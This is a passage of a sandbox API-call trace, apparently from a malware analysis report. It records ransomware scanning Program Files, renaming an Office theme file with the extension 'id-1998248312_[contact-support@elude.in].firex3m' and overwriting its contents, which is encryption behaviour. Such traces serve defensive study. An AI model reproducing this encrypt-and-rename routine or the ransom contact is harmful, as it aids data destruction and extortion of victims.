dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.647] Sleep (dwMilliseconds=0x1) [0264.661] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x67 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0264.661] GetProcessHeap () returned 0x630000 [0264.661] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d24) returned 0x6fe3bb0 [0264.661] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.661] Sleep (dwMilliseconds=0x1) [0264.680] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-24.png", len=0x75 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-24.png") returned 1 [0264.680] GetProcessHeap () returned 0x630000 [0264.680] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd8) returned 0x6fe3bb0 [0264.680] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail1.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.687] Sleep (dwMilliseconds=0x1) [0264.739] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png", len=0x66 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png") returned 1 [0264.739] GetProcessHeap () returned 0x630000 [0264.739] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb4) returned 0x6fe3bb0 [0264.739] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\storelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.740] Sleep (dwMilliseconds=0x1) [0264.755] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-36.png", len=0x75 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-36.png") returned 1 [0264.755] GetProcessHeap () returned 0x630000 [0264.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c78) returned 0x6fe3bb0 [0264.755] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.758] Sleep (dwMilliseconds=0x1) [0264.764] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png", len=0x80 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png") returned 1 [0264.764] GetProcessHeap () returned 0x630000 [0264.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c6c) returned 0x6fe3bb0 [0264.764] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail2medtilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.766] Sleep (dwMilliseconds=0x1) [0264.792] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png", len=0x77 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png") returned 1 [0264.792] GetProcessHeap () returned 0x630000 [0264.792] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c28) returned 0x6fe3bb0 [0264.792] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base1medtilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.793] Sleep (dwMilliseconds=0x1) [0264.798] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM", len=0x68 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM") returned 1 [0264.799] GetProcessHeap () returned 0x630000 [0264.799] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c1c) returned 0x6fe3bb0 [0264.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0264.916] CloseHandle (hObject=0x6ec) returned 1 [0264.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.968] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bfc670, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AXIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AXISEL~1.FIR")) returned 0x6d53c0 [0264.969] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0264.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0264.969] GetProcessHeap () returned 0x630000 [0264.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73ba410 [0264.969] GetProcessHeap () returned 0x630000 [0264.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0264.970] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.970] ReadFile (in: hFile=0x6ec, lpBuffer=0x73ba410, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73ba410*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0270.993] GetProcessHeap () returned 0x630000 [0270.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0270.994] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.994] WriteFile (in: hFile=0x6ec, lpBuffer=0x7393dd0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0270.994] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.994] WriteFile (in: hFile=0x6ec, lpBuffer=0x739f1cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f1cf*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0270.995] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.995] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0270.995] CloseHandle (hObject=0x6ec) returned 1 [0270.995] GetProcessHeap () returned 0x630000 [0270.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0270.995] GetProcessHeap () returned 0x630000 [0270.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73ba410 | out: hHeap=0x630000) returned 1 [0270.995] GetProcessHeap () returned 0x630000 [0270.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0270.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67785b49, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x189e2, dwReserved0=0xa0c7496, dwReserved1=0x73ba408, cFileName="AXIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AXISEL~1.FIR")) returned 0x6d4f00 [0270.996] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0270.996] Sleep (dwMilliseconds=0x1) [0273.106] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-black.png", len=0x86 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-black.png") returned 1 [0273.106] GetProcessHeap () returned 0x630000 [0273.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0273.106] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-80_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-80_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.110] Sleep (dwMilliseconds=0x1) [0273.127] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", len=0x61 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned 1 [0273.127] GetProcessHeap () returned 0x630000 [0273.127] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e60) returned 0x6fe3bb0 [0273.128] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.134] Sleep (dwMilliseconds=0x1) [0275.142] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x75 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0275.144] GetProcessHeap () returned 0x630000 [0275.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b20) returned 0x6fe3bb0 [0275.147] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.152] Sleep (dwMilliseconds=0x1) [0275.171] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim1.scale-150.png", len=0x87 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim1.scale-150.png") returned 1 [0275.171] GetProcessHeap () returned 0x630000 [0275.171] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba0) returned 0x6fe3bb0 [0275.171] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim1.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\toast.dualsim1.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.173] Sleep (dwMilliseconds=0x1) [0275.183] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\StoreLogo.scale-150.png", len=0x82 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\StoreLogo.scale-150.png") returned 1 [0275.183] GetProcessHeap () returned 0x630000 [0275.183] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b9c) returned 0x6fe3bb0 [0275.183] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\StoreLogo.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\storelogo.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.185] Sleep (dwMilliseconds=0x1) [0275.200] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.scale-150.png", len=0x82 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.scale-150.png") returned 1 [0275.200] GetProcessHeap () returned 0x630000 [0275.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b80) returned 0x6fe3bb0 [0275.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.204] Sleep (dwMilliseconds=0x1) [0275.214] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.small.scale-150.png", len=0x8c | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.small.scale-150.png") returned 1 [0275.214] GetProcessHeap () returned 0x630000 [0275.214] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b7c) returned 0x6fe3bb0 [0275.214] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.sad.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.217] Sleep (dwMilliseconds=0x1) [0275.232] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.scale-150.png", len=0x91 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.scale-150.png") returned 1 [0275.232] GetProcessHeap () returned 0x630000 [0275.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b60) returned 0x6fe3bb0 [0275.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.smile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.234] Sleep (dwMilliseconds=0x1) [0275.293] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.scale-150.png", len=0x8b | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.scale-150.png") returned 1 [0275.293] GetProcessHeap () returned 0x630000 [0275.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b5c) returned 0x6fe3bb0 [0275.293] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.296] Sleep (dwMilliseconds=0x1) [0275.310] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-150.png", len=0x97 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-150.png") returned 1 [0275.310] GetProcessHeap () returned 0x630000 [0275.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b40) returned 0x6fe3bb0 [0275.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.smile.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.312] Sleep (dwMilliseconds=0x1) [0275.327] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-150.png", len=0x82 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-150.png") returned 1 [0275.327] GetProcessHeap () returned 0x630000 [0275.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b20) returned 0x6fe3bb0 [0275.328] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\badgelogo.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.331] Sleep (dwMilliseconds=0x1) [0275.340] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF", len=0x44 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\REFSPCL.TTF") returned 1 [0275.340] GetProcessHeap () returned 0x630000 [0275.340] 